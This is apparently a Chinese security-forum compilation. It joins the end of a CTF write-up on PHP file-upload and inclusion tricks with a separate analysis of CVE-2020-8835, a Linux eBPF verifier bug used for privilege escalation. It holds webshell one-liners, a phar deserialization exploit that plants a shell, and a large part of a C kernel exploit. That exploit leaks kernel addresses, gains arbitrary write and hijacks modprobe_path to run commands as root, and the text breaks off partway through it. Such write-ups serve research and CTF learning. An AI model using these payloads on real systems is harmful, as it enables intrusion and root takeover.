关于截断的一些小总结，可以看笔者的[笔记](http://note.youdao.com/noteshare?id=36658a534d9b3966bdef19cc3c5cb576&sub=0AA98B1838C14D96B4CCEE3A6BB4C515)：
### ascii 特殊字符包含
这里的例子是上海网安赛的 web4 ，参考了 sn00py 师傅的 wp
这道题先是前台 sql 注入拿到 admin 的密码之后，登录后台会发现有上传点
这里的上传有两个重要的参数，一个是文件目录（uploaddir），一个是文件名（filename）
上传之后会对 uploaddir 和 filename 直接进行拼接，然后直接加上 .txt 后缀。没办法从正面直接绕过，00 截断也是无效的，这里就尝试用
0x00~0xff 之内的 ascii 字符来截断。
burp 中发送数据包到 intruder 模块，将范围控制在 0~255 之间
用 intuder 模块的 payload 进行处理，先加上 % ，再进行 urldecode
在 0x02 时可以截断成功
## 文件包含和文件上传的配合的情况
一般这类题目有共同的利用条件：
利用条件：无法直接上传 shell，只能上传图片，存在文件包含
### phar 两种用法
phar 是 php 中的一种归档压缩文件，类似 zip 。可以使用 phar:// 协议来访问压缩后的文件
> PHP5.3之后支持了类似Java的jar包，名为phar。用来将多个PHP文件打包为一个文件。
后面的两种用法都用一个 SUCTF 招新赛的例子来说明：
点开题目发现只有一个上传点，且只能上传 png、jpg、gif 文件，无法绕过后缀上传 shell
#### 正常用法
第一种方法就是他的常规用法了，将 php 文件压缩成 zip 文件，zip 文件改后缀为 png 之后
例如将下面的代码放在 1.php 中，压缩成 1.zip 并改名 1.png后上传
<?=eval($_POST['1']);?>
<?php eval($_POST['1']);?>
<script language='php'>
eval($_POST['1']);
</script>
上传文件之后在右键 -> 源代码中可以看到上传的地址，复制出来并用 phar:// 协议进行访问
http://49.4.68.67:86/?act=get&pic=phar:///var/www/html/sandbox/5eac5f7bd6358e10ff53dec9f3bb8690/4a47a0db6e60853dedfcfdf08a5ca249.png/1.php
在 f12 中可以看到很多符号都被过滤了，这里尝试了也没法直接绕过
后来发现 set-cookie 中给了提示：
Set-Cookie: hint=cGxlYXNlIHJlYWQgcmVjZW50IHBhcGVycyBhYm91dCBwaGFy
--> please read recent papers about phar
于是这里想到了phar 的反序列化漏洞，貌似这个操作在 hitcon2017 的 Baby^H-master-php-2017
中就出现了，但是那个实在太难了…
#### phar 反序列化漏洞
具体的原理这里也不说了，大概的用法可以看下面的这两篇文章：
<https://blog.csdn.net/xiaorouji/article/details/83118619>
<https://cloud.tencent.com/developer/article/1350367>
直接放官方的 exp 吧：
<?php
class PicManager{
private $current_dir;
private $whitelist=['jpg','png','gif'];
private $logfile='request.log';
private $actions=[];
public function __construct($dir){
$this->current_dir=$dir;
if(!is_dir($dir))@mkdir($dir);
}
private function _log($message){
array_push($this->actions,'['.date('y-m-d h:i:s',time()).']'.$message);
}
public function pics(){
log('list pics');
$pics=[];
foreach(scandir($dir) as $item){
if(in_array(substr($item,-4),$whitelist))
array_push($pics,$current_dir."/".$item);
}
return $pics;
}
public function upload_pic(){
_log('upload pic');
$file=$_FILES['file']['name'];
if(!in_array(substr($file,-4),$this->whitelist)){
_log('unsafe deal:upload filename '.$file);
return;
}
$newname=md5($file).substr($file,-4);
move_uploaded_file($_FILES['file']['tmp_name'],$current_dir.'/'.$newname);
}
public function get_pic($picname){
_log('get pic'.$picname);
if(!file_exists($picname))
return '';
else return file_get_contents($picname);
}
public function __destruct(){
$fp=fopen($this->current_dir.'/'.$this->logfile,"a+");
foreach($this->actions as $act){
fwrite($fp,$act."n");
}
fclose($fp);
}
public function gen(){
@rmdir($this->current_dir);
$this->current_dir="/var/www/html/sandbox/a6bfb20ba19df73fcceb438f5f75948f/"; //md5($_SERVER['REMOTE_ADDR'])
$this->logfile='H4lo.php';
$this->actions=['<?php eval($_REQUEST[p]);'];
@unlink('phar.phar');
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头用以欺骗检测
$phar->setMetadata($this); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
}
$pic=new PicManager('/var/www/html/sandbox');
$pic->gen();
运行 php 脚本会在当前目录下生成 phar.phar 文件（需要在 php.ini 中将 phar.readonly 设置为 Off）
接着将 phar.phar 重命名为 phar.gif ，上传之后同样复制出地址，利用 phar 协议包含文件以后，就会触发反序列化漏洞，将我们前面 exp
中的代码执行（生成 H4lo.php）。
http://49.4.68.67:86/?act=get&pic=phar:///var/www/html/sandbox/a6bfb20ba19df73fcceb438f5f75948f/1b33718042e7dfe8fac079be96ebc4d9.gif
* 这里只需要 phar://xxx.gif 的形式就好了，因为这是一个 phar 对象文件，不是一个压缩包
访问一下，这样就得到 flag 了：
### PHP 自包含特性
这个技巧可以看我之前的写过的[一篇文章](https://www.anquanke.com/post/id/153376)，也是来源于一道 ctf （百度杯
nlog 进阶版）
这个自包含和下面的反序列化上传的姿势，都是需要自己构造文件上传页面，感觉脑洞还是挺大了，稍微了解一下就好了
### 反序列化上传
这个也是来源于一道 ctf（jarvisoj phpinfo），题目地址
<http://web.jarvisoj.com:32784/>
附上详细的解答：
<https://blog.csdn.net/wy_97/article/details/78430690>
简而言之，就是自己构造一个上传界面，将 file 字段的 filename 定义为反序列化的字符串，服务器处理的时候就会触发这个漏洞。
<!DOCTYPE html>
<html>
<head>
<title>test XXE</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><!--
不对字符编码-->
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="go" />
</form>
</body>
</html>
## 总结
在近些比赛中将文件上传和文件包含结合起来，作为考点进行考察的题目还是蛮多的。在比赛中多总结一下姿势还是挺有帮助的，无论是在今后的 ctf
比赛中还是实战的漏洞挖掘。 | 社区文章 |
# CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
pwn2own 2020 上Manfred Paul (@_manfp _)_ 利用了ebpf
的一个漏洞完成了ubuntu的提权，4月16号的时候zdi公开了manfp
的[writeup](https://www.zerodayinitiative.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification)。
这篇文章中，参考zdi上的writeup, 我会分析这个漏洞的成因，然后写一下这个洞的 exp， 纯属个人笔记，理解有误的地方欢迎指正。
## 环境搭建
文章涉及到的文件都放在了[这里](https://github.com/rtfingc/cve-repo/tree/master/0x04-pwn2own-ebpf-jmp32-cve-2020-8835),
我用的是[linux-5.6](https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/linux-5.6.tar.xz)
版本的内核，在 ubuntu1804 下编译测试。
## 漏洞分析
这个漏洞是在[commit
581738a681b6](https://github.com/torvalds/linux/commit/581738a681b6faae5725c2555439189ca81c0f1f)引入的，
它添加了一个函数
static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
u64 mask = 0xffffFFFF;
struct tnum range = tnum_range(reg->umin_value & mask,
reg->umax_value & mask);
struct tnum lo32 = tnum_cast(reg->var_off, 4);
struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);
reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
}
漏洞发生在 `verifier` 阶段，这个阶段会模拟运行传进来的bpf指令，`bpf_reg_state` 用来保存寄存器的状态信息
ptype struct bpf_reg_state
type = struct bpf_reg_state {
enum bpf_reg_type type;
union {
u16 range;
struct bpf_map *map_ptr;
u32 btf_id;
unsigned long raw;
};
s32 off;
u32 id;
u32 ref_obj_id;
struct tnum var_off;
s64 smin_value;//有符号时可能的最小值
s64 smax_value;//有符号时可能的最大值
u64 umin_value;
u64 umax_value;
struct bpf_reg_state *parent;
u32 frameno;
s32 subreg_def;
enum bpf_reg_liveness live;
bool precise;
}
`smin_value` 和 `smax_value` 保存当寄存器被当做是有符号数的时候可能的取值范围，同样`umin_value`
和`umax_value` 表示的是无符号的时候。 `var_of` 是`struct tnum` 类型
ptype struct tnum
type = struct tnum {
u64 value;
u64 mask;
}
它只有两个成员
`value`: 某个bit为1 表示这个寄存器的这个bit 确定是1
`mask`: 某个bit 为1表示这个 bit 是未知的
举个栗子，假如`value` 是 `010`（二进制表示) ， `mask` 是`100` , 那么就是经过前面的指令的模拟执行之后，可以确定这个寄存器的
第二个bit 一定是 1, 第三个 bit 在`mask`
里面设置了，表示这里不确定，可以是1或者是0。详细的文档可以在`Documentnetworking/filter.txt` 里面找到。
对于跳转指令, 假如当前遇到了下面这样一条指令，
`BPF_JMP_IMM(BPF_JGE, BPF_REG_5, 8, 3)`
会有下面这样两行代码来更新状态，`false_reg` 和`true_reg` 分别代表两个分支的状态，
这是我们前面`__reg_bound_offset32` 的64位版本
__reg_bound_offset(false_reg);
__reg_bound_offset(true_reg);
这条指令 `r5 >= 8` 的时候 ， 会跳到`pc+3` 的地方执行(正确分支), 那么在错误的分支上，`r5` 肯定是 小于 8 了，
`__reg_bound_offset32` 会在使用`BPF_JMP32` 的时候调用，ebpf 的`BPF_JMP`
寄存器之间是64bit比较的，换成`BPF_JMP32` 的时候就只会比较低32bit. 我们看看他是怎么做的
首先是把之前状态转移的`umin_value` 和`umax_value` 只取低32bit , 创建一个新的 tnum， `lo32` 是取原来
`var_off` 的 低32bit
struct tnum tnum_range(u64 min, u64 max)
{
u64 chi = min ^ max, delta;
// 从右往左数，第一个为1的bit 是哪一位(从1开始数)， 表示没有1
// 如: fls64(0100) == 3
u8 bits = fls64(chi);
/* special case, needed because 1ULL << 64 is undefined */
if (bits > 63)
return tnum_unknown;
/* e.g. if chi = 4, bits = 3, delta = (1<<3) - 1 = 7.
|* if chi = 0, bits = 0, delta = (1<<0) - 1 = 0, so we return
|* constant min (since min == max).
|*/
delta = (1ULL << bits) - 1;
return TNUM(min & ~delta, delta);
}
//.....
u64 mask = 0xffffFFFF;
struct tnum range = tnum_range(reg->umin_value & mask,
reg->umax_value & mask);
struct tnum lo32 = tnum_cast(reg->var_off, 4);
struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);
对于`tnum_intersect` 如果`a`和`b` 有某一个bit 是1, 那么代表已经确定这个bit是1了， 所以这里用`|` 的方式，
两者信息整合起来最后生成一个新的`var_off`
struct tnum tnum_intersect(struct tnum a, struct tnum b)
{
u64 v, mu;
v = a.value | b.value;
mu = a.mask & b.mask;
return TNUM(v & ~mu, mu);
}
//...
reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
漏洞发生的原因是这里的实现方式有问题，计算`range` 的时候直接取低32bit，因为原本的`umin_value` 和 `umax_value`
都是64bit的， 假如计算之前`umin_value == 1` ， `umax_value == 1 0000 0001` ,
取低32bit之后他们都会等于1，这样range计算完之后`TNUM(min & ~delta, delta);` ， `min = 1` , `delta
= 0`
然后到`tnum_intersect` 函数， 假设`a.value = 0` ，计算后的`v == 1` ，`mu ==0` , 最后得到的
`var_off` 就是固定值`1`, 也就是说，不管寄存器真实的值是怎么样，在`verifier` 过程都会它当做是1。
#### 调试分析
我们调试看看内存具体是怎么样的, 首先我们创建一个array map, ebpf指令中, 让`r9 = map[1]`, `r6`
是我们要用来测试漏洞的寄存器，从`map[1]` 中加载值到`r6` 中(具体参考后面的exp), 这样 `verifier` 就不知道 `r6`
是什么，这时候的`var_off->value = 0`
BPF_LDX_MEM(BPF_DW,6,9,0),
因为我的调试环境没有办法运行`bpftool`,
首先在[`kernel/bpf/syscall.c:125`](https://elixir.bootlin.com/linux/v5.6/source/kernel/bpf/syscall.c#L125)
map_create 的时候获取一下 map 的地址值
static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)
{
//....
map = ops->map_alloc(attr); //<====
if (IS_ERR(map)) // 125
return map;
//...
return map;
}
接下来是下面的指令, 在`pc+1` 的地方 `umin_value` 变成1
BPF_JMP_IMM(BPF_JGE,6,1,1),
BPF_EXIT_INSN(),
然后是下面的指令, 这个时候 `r8 = 0x100000001` , `BPF_JLE` 的 `pc+1` 分支上， `umax_value =
0x100000001` `
BPF_MOV64_IMM(8,0x1),
BPF_ALU64_IMM(BPF_LSH,8,32),
BPF_ALU64_IMM(BPF_ADD,8,1),
/*BPF_JLE tnum umax 0x100000001*/
BPF_JMP_REG(BPF_JLE,6,8,1),
BPF_EXIT_INSN(),
然后时候 jmp32 来触发漏洞了
BPF_JMP32_IMM(BPF_JNE,6,5,1),
BPF_EXIT_INSN(),
在·`__reg_bound_offset32` 下个断点，我这里是在`kernel/bpf/verifier.c:1038`, `false_reg`
函数执行前后值如下
var_off = {
value = 0x5,
mask = 0x100000000
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
//--- 执行后
var_off = {
value = 0x5,
mask = 0x100000000
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
`true_reg` 在函数执行前后的值如下
var_off = {
value = 0x0,
mask = 0x1ffffffff
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
// --- 执行后
var_off = {
value = 0x1,
mask = 0x100000000
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
因为`r6` 是从 `map[0]` load
进来的，实际运行的时候可以是任何值，这里的判断错误了，后面我们就可以用它来绕过一些检查，我们来看看具体怎么样利用。
## 漏洞利用
### 地址泄露
在前面的指令执行完之后， 执行下面指令，我们让一开始`r6 = 2` ， 这样 `verifier` 过程到了这里，`r6` 会被认为是 1,
`( 1&2 )>>1 == 0`, 但是实际运行的时候 `(2 & 2) >> 1 ==1`,
BPF_ALU64_IMM(BPF_AND, 6, 2),
BPF_ALU64_IMM(BPF_RSH, 6, 1),
接下来我们让`r6 = r6 * 0x110` , 这样 `verifier` 过程仍然认为它是0，但是运行过程的实际值确实 `0x110`
BPF_ALU64_IMM(BPF_MUL,6,0x110),
我们获取一个map，我们叫它`expmap` 把， `r7 = expmap[0]`
BPF_MOV64_REG(7,0),
然后 `r7 = r7 - r6`, 因为 `r7` 是指针类型， `verifier` 会根据map的 size 来检查边界，但是`verifier`
的时候认为`r6 ==0` ，`r7 - 0 == r7`, 所以可以通过检查， 但是运行的时候 我们可以让`r7 = r7 - 0x110`, 然后在
`BPF_LDX_MEM(BPF_DW,8,7,0),` 就可以做越界读写了。
BPF_ALU64_REG(BPF_SUB,7,6)
ebpf 用`bpf_map` 来保存map 的信息， 也是我们前面`map_create` 的时候得到的那个地址
gef➤ kstruct bpf_map
ptype struct bpf_map
type = struct bpf_map {
const struct bpf_map_ops *ops;
struct bpf_map *inner_map_meta;
void *security;
enum bpf_map_type map_type;
//....
u64 writecnt;
}
在 `map_lookup_elem` 的时候， 使用的是 `bpf_array` ，它的开头是`bpf_map`, 然后`value` 就是map
的每一个项的数组，也就是说 `bpf_map` 刚好在`r7` 的低地址处(`r7` 是第一个 value)， 这里查看内存可以知道 `map` 在 `r7
- 0x110` 的地方
ptype struct bpf_array
type = struct bpf_array {
struct bpf_map map;
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
char value[];//<--- elem
void *ptrs[];
void *pptrs[];
};
}
于是我们就可以读写 `bpf_map` 来做后续的利用
首先是地址泄露， `bpf_map` 有一个`const struct bpf_map_ops *ops;`
字段，当我们创建的map是`BPF_MAP_TYPE_ARRAY` 的时候保存的是`array_map_ops`, `array_map_ops`
是一个全局变量，保存在rdata段，通过它我们就可以计算kaslr的偏移，绕过kaslr, 同时运行的时候可以在下面`wait_list` 处泄露出map
的地址
gef➤ p/a *(struct bpf_array *)0xffff88800d878000
$5 = {
map = {
ops = 0xffffffff82016340 <array_map_ops>,//<-- 泄露内核地址
inner_map_meta = 0x0 <fixed_percpu_data>,
security = 0xffff88800e93f0f8,
map_type = 0x2 <fixed_percpu_data+2>,
key_size = 0x4 <fixed_percpu_data+4>,
value_size = 0x2000 <irq_stack_backing_store>,
max_entries = 0x1 <fixed_percpu_data+1>,
//...
usercnt = {
//..
wait_list = {
next = 0xffff88800d8780c0,//<-- 泄露 map 地址
prev = 0xffff88800d8780c0
}
},
writecnt = 0x0 <fixed_percpu_data>
},
elem_size = 0x2000 <irq_stack_backing_store>,
index_mask = 0x0 <fixed_percpu_data>,
aux = 0x0 <fixed_percpu_data>,
{
value = 0xffff88800d878110,//<-- r7
ptrs = 0xffff88800d878110,
pptrs = 0xffff88800d878110
}
}
### 任意内存写
我们可以用`r7` 写入 `ops = 0xffffffff82016340 <array_map_ops>`, 改成我们自己的`fake_ops`,
因为前面我们已经泄露出map 的地址了，那么完全可以用`map_update_elem` 伪造一个`ops`,
然后改一下指针就可以劫持控制流了，zdi上的writeup 用了一个更好的办法。
gef➤ p/a *(struct bpf_map_ops *)0xffffffff82016340
$11 = {
map_alloc_check = 0xffffffff8116ec70 <array_map_alloc_check>,
map_alloc = 0xffffffff8116fa00 <array_map_alloc>,
map_release = 0x0 <fixed_percpu_data>,
map_free = 0xffffffff8116f2d0 <array_map_free>,
map_get_next_key = 0xffffffff8116ed50 <array_map_get_next_key>,
map_release_uref = 0x0 <fixed_percpu_data>,
map_lookup_elem_sys_only = 0x0 <fixed_percpu_data>,
map_lookup_batch = 0xffffffff81159b30 <generic_map_lookup_batch>,
map_lookup_and_delete_batch = 0x0 <fixed_percpu_data>,
map_update_batch = 0xffffffff81159930 <generic_map_update_batch>,
map_delete_batch = 0x0 <fixed_percpu_data>,
map_lookup_elem = 0xffffffff8116edd0 <array_map_lookup_elem>,
map_update_elem = 0xffffffff8116f1c0 <array_map_update_elem>,
map_delete_elem = 0xffffffff8116ed80 <array_map_delete_elem>,
map_push_elem = 0x0 <fixed_percpu_data>,
map_pop_elem = 0x0 <fixed_percpu_data>,
map_peek_elem = 0x0 <fixed_percpu_data>,
map_fd_get_ptr = 0x0 <fixed_percpu_data>,
map_fd_put_ptr = 0x0 <fixed_percpu_data>,
map_gen_lookup = 0xffffffff8116f050 <array_map_gen_lookup>,
map_fd_sys_lookup_elem = 0x0 <fixed_percpu_data>,
map_seq_show_elem = 0xffffffff8116ee80 <array_map_seq_show_elem>,
map_check_btf = 0xffffffff8116f870 <array_map_check_btf>,
map_poke_track = 0x0 <fixed_percpu_data>,
map_poke_untrack = 0x0 <fixed_percpu_data>,
map_poke_run = 0x0 <fixed_percpu_data>,
map_direct_value_addr = 0xffffffff8116ece0 <array_map_direct_value_addr>,
map_direct_value_meta = 0xffffffff8116ed10 <array_map_direct_value_meta>,
map_mmap = 0xffffffff8116ee50 <array_map_mmap>
}
`map_push_elem` 会在 `map_update_elem` 的时候被调用, 它需要map
的类型是`BPF_MAP_TYPE_QUEUE`或者`BPF_MAP_TYPE_STACK`, 但是没有关系， map 上的任何内容都可以用 `r7`
来改，把`map_type` 改成`BPF_MAP_TYPE_STACK` (0x17)之后，每次调用`map_update_elem`时,
就会调用`map_push_elem`
static int bpf_map_update_value(struct bpf_map *map, struct fd f, void *key,
void *value, __u64 flags)
{
//...
} else if (map->map_type == BPF_MAP_TYPE_QUEUE ||
¦ map->map_type == BPF_MAP_TYPE_STACK) {
err = map->ops->map_push_elem(map, value, flags);
//..
在 `fake_ops` 上, 我们把`map_push_elem` 改成`map_get_next_key` 一样的地址，
这里实际的`map_get_next_key`是函数`array_map_get_next_key`
uint64_t fake_map_ops[]={
kaslr +0xffffffff8116ec70,
kaslr +0xffffffff8116fa00,
0x0,
kaslr +0xffffffff8116f2d0,
kaslr +0xffffffff8116ed50,// 5: map_get_next_key
0x0,
//...
kaslr +0xffffffff8116ed80,
kaslr +0xffffffff8116ed50,//15: map_push_elem
0x0,
0x0,
//...
}
`array_map_get_next_key` 实现在`kernel/bpf/arraymap.c#L279` 上， 传递给`map_push_elem`
的参数是`value`(ring3 要update的数据)和 `uattr` 的 flags, 分别对应`array_map_get_next_key` 的
`key` 和 `next_key` 参数
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
{
struct bpf_array *array = container_of(map, struct bpf_array, map);
u32 index = key ? *(u32 *)key : U32_MAX;
u32 *next = (u32 *)next_key;
if (index >= array->map.max_entries) { //index
*next = 0;
return 0;
}
if (index == array->map.max_entries - 1)
return -ENOENT;
*next = index + 1;
return 0;
}
加入我们运行 `map_update_elem(mapfd, &key, &value, flags)`, 运行到
`array_map_get_next_key` 之后有
`index == value[0]`, `next = flags` ， 最终效果是 `*flags = value[0]`
value[0] 和 flags 都是 ring3 下传入的值，前面我们已经泄露了内核地址，于是就可以通过修改 `flags`
的值写任意内存啦。写入的index要满足`(index >= array->map.max_entries)`, `map_entries` 可以用`r7`
改成`0xffff ffff`
这里index 和 next 都是 u32 类型， 所以就是任意地址写 4个byte.
具体的操作是
* 1 写 r7 改写 ops 到 fake_ops ( map_push_elem 改成`array_map_get_next_key` 地址)
* 2 修改 map 的一些字段绕过一些检查
* spin_lock_off = 0
* max_entries = `0xffff ffff`
* map_type = `BPF_MAP_TYPE_STACK`
* 3 调用 `map_update_elem` 写内存
### 改modprobe_path 用root任意命令
可以任意地址写这个能力还是挺大的了，zdi 的writeup 上是通过搜索 `init_pid_ns`， 找到当前的`task_struct`, 然后写
cred 来获取一个 root shell。
既然已经可以任意地址写了，这里我的做法是改写`modprobe_path` , 然后就可以用root 权限执行任意指令了，虽然不能起root shell，
但是也是可以达到提权目的了(主要是懒 😛 )
`/tmp` 目录下生成 `/tmp/chmod` 和 `/tmp/fake` , `/tmp/chmod` 可以改 `/flag` 文件的权限
void gen_fake_elf(){
system("echo -ne '#!/bin/shn/bin/chmod 777 /flagn' > /tmp/chmod");
system("chmod +x /tmp/chmod");
system("echo -ne '\xff\xff\xff\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
}
然后把`modprobe_path` 改成 `/tmp/chmod`, 然后运行 `/tmp/fake` 就完事啦
expbuf64[0] = 0x706d742f -1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path);
expbuf64[0] = 0x6d68632f -1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+4);
expbuf64[0] = 0x646f -1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+8);
## exp
完整exp 如下，这里需要有两个头文件，`bpf_insn.h` 在`samples/bpf/bpf_insn.h` 下， 主要是生成指令的一些宏定义。
因为我本机的ubuntu 内核还不支持`BPF_JMP32` 所以还需要拷贝一个`bpf.h` ，它在`include/uapi/linux/bpf.h`
整理一下 `bpf_insns` 都做了什么， 这里我创建了两个map( `ctrlmap` 和 `expmap`, 有点乱…)
第一次 `writemsg()` （ `ctrlmap[0] = 2; ctrlmap[1] = 0`）
* `r9 指向 ctrlmap[0]` , load 之后 `r6 ==2`
* 然后前面描述的漏洞触发过程， 最后 `BPF_ALU64_IMM(BPF_MUL,6,0x110)`, 得到 `r6 == 0x100`
* `r7 指向 expmap[0]`, 然后 sub r6, 获取 `bpf_map_ops`和 map 的地址，写入到 `ctrlmap[0][0x10]ctrlmap[0][0x18]` 的位置
* exp 中 `map_lookup_elem` 获取 泄露的地址
第二次 `writemsg()` （ `ctrlmap[0] = 2; ctrlmap[1] = 1`)
* 把 `fake_map_ops` 保存到 `expmap[0]` 上, 修改原来的 `ops` 指向`fake_map_ops`
* 改 `spin_lock_off`, `max_entries` ,`map_type`
* `map_update_elem` 改 `modprobe_path`
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <errno.h>
#include "linux/bpf.h"
#include "bpf_insn.h"
int ctrlmapfd, expmapfd;
int progfd;
int sockets[2];
#define LOG_BUF_SIZE 65535
char bpf_log_buf[LOG_BUF_SIZE];
void gen_fake_elf(){
system("echo -ne '#!/bin/shn/bin/chmod 777 /flagn' > /tmp/chmod");
system("chmod +x /tmp/chmod");
system("echo -ne '\xff\xff\xff\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
}
void init(){
setbuf(stdin,0);
setbuf(stdout,0);
gen_fake_elf();
}
void x64dump(char *buf,uint32_t num){
uint64_t *buf64 = (uint64_t *)buf;
printf("[-x64dump-] start : n");
for(int i=0;i<num;i++){
if(i%2==0 && i!=0){
printf("n");
}
printf("0x%016lx ",*(buf64+i));
}
printf("n[-x64dump-] end ... n");
}
void loglx(char *tag,uint64_t num){
printf("[lx] ");
printf(" %-20s ",tag);
printf(": %-#16lxn",num);
}
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version);
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries);
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags);
static int bpf_lookup_elem(int fd,void *key, void *value);
static void writemsg(void);
static void __exit(char *err);
struct bpf_insn insns[]={
BPF_LD_MAP_FD(BPF_REG_1,3),
BPF_ALU64_IMM(BPF_MOV,6,0),
BPF_STX_MEM(BPF_DW,10,6,-8),
BPF_MOV64_REG(7,10),
BPF_ALU64_IMM(BPF_ADD,7,-8),
BPF_MOV64_REG(2,7),
BPF_RAW_INSN(BPF_JMP|BPF_CALL,0,0,0,
BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE,0,0,1),
BPF_EXIT_INSN(),
// r9 = ctrlmap[0]
BPF_MOV64_REG(9,0),
//2
BPF_LDX_MEM(BPF_DW,6,9,0),
// offset
/*// BPF_JGE 看 tnum umin 1*/
BPF_ALU64_IMM(BPF_MOV,0,0),
BPF_JMP_IMM(BPF_JGE,6,1,1),
BPF_EXIT_INSN(),
BPF_MOV64_IMM(8,0x1),
BPF_ALU64_IMM(BPF_LSH,8,32),
BPF_ALU64_IMM(BPF_ADD,8,1),
/*BPF_JLE 看 tnum umax 0x100000001*/
BPF_JMP_REG(BPF_JLE,6,8,1),
BPF_EXIT_INSN(),
/*// JMP32 看 offset*/
BPF_JMP32_IMM(BPF_JNE,6,5,1),
BPF_EXIT_INSN(),
BPF_ALU64_IMM(BPF_AND, 6, 2),
BPF_ALU64_IMM(BPF_RSH, 6, 1),
//r6 == offset
//r9 = inmap
/*BPF_ALU64_REG(BPF_MUL, 6, 7),*/
BPF_ALU64_IMM(BPF_MUL,6,0x110),
// outmap
BPF_LD_MAP_FD(BPF_REG_1,4),
BPF_ALU64_IMM(BPF_MOV,8,0),
BPF_STX_MEM(BPF_DW,10,8,-8),
BPF_MOV64_REG(7,10),
BPF_ALU64_IMM(BPF_ADD,7,-8),
BPF_MOV64_REG(2,7),
BPF_RAW_INSN(BPF_JMP|BPF_CALL,0,0,0,
BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE,0,0,1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(7,0),
BPF_ALU64_REG(BPF_SUB,7,6),
BPF_LDX_MEM(BPF_DW,8,7,0),
/*// inmap[2] == map_addr*/
BPF_STX_MEM(BPF_DW,9,8,0x10),
BPF_MOV64_REG(2,8),
BPF_LDX_MEM(BPF_DW,8,7,0xc0),
BPF_STX_MEM(BPF_DW,9,8,0x18),
BPF_STX_MEM(BPF_DW,7,8,0x40),
BPF_ALU64_IMM(BPF_ADD,8,0x50),
BPF_LDX_MEM(BPF_DW,2,9,0x8),
BPF_JMP_IMM(BPF_JNE,2,1,4),
BPF_STX_MEM(BPF_DW,7,8,0), //ops
BPF_ST_MEM(BPF_W,7,0x18,BPF_MAP_TYPE_STACK),//map type
BPF_ST_MEM(BPF_W,7,0x24,-1),// max_entries
BPF_ST_MEM(BPF_W,7,0x2c,0x0), //lock_off
BPF_ALU64_IMM(BPF_MOV,0,0),
BPF_EXIT_INSN(),
};
void prep(){
ctrlmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x100,0x1);
if(ctrlmapfd<0){ __exit(strerror(errno));}
expmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x2000,0x1);
if(expmapfd<0){ __exit(strerror(errno));}
printf("ctrlmapfd: %d, expmapfd: %d n",ctrlmapfd,expmapfd);
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
insns, sizeof(insns), "GPL", 0);
if(progfd < 0){ __exit(strerror(errno));}
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)){
__exit(strerror(errno));
}
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){
__exit(strerror(errno));
}
}
void pwn(){
printf("pwning...n");
uint32_t key = 0x0;
char *ctrlbuf = malloc(0x100);
char *expbuf = malloc(0x3000);
uint64_t *ctrlbuf64 = (uint64_t *)ctrlbuf;
uint64_t *expbuf64 = (uint64_t *)expbuf;
memset(ctrlbuf,'A',0x100);
for(int i=0;i<0x2000/8;i++){
expbuf64[i] = i+1;
}
ctrlbuf64[0]=0x2;
ctrlbuf64[1]=0x0;
bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0);
bpf_update_elem(expmapfd,&key,expbuf,0);
writemsg();
// leak
memset(ctrlbuf,0,0x100);
bpf_lookup_elem(ctrlmapfd,&key,ctrlbuf);
x64dump(ctrlbuf,8);
bpf_lookup_elem(expmapfd,&key,expbuf);
x64dump(expbuf,8);
uint64_t map_leak = ctrlbuf64[2];
uint64_t elem_leak = ctrlbuf64[3]-0xc0+0x110;
uint64_t kaslr = map_leak - 0xffffffff82016340;
uint64_t modprobe_path = 0xffffffff82446d80 + kaslr;
loglx("map_leak",map_leak);
loglx("elem_leak",elem_leak);
loglx("kaslr",kaslr);
loglx("modprobe",modprobe_path);
uint64_t fake_map_ops[]={
kaslr +0xffffffff8116ec70,
kaslr +0xffffffff8116fa00,
0x0,
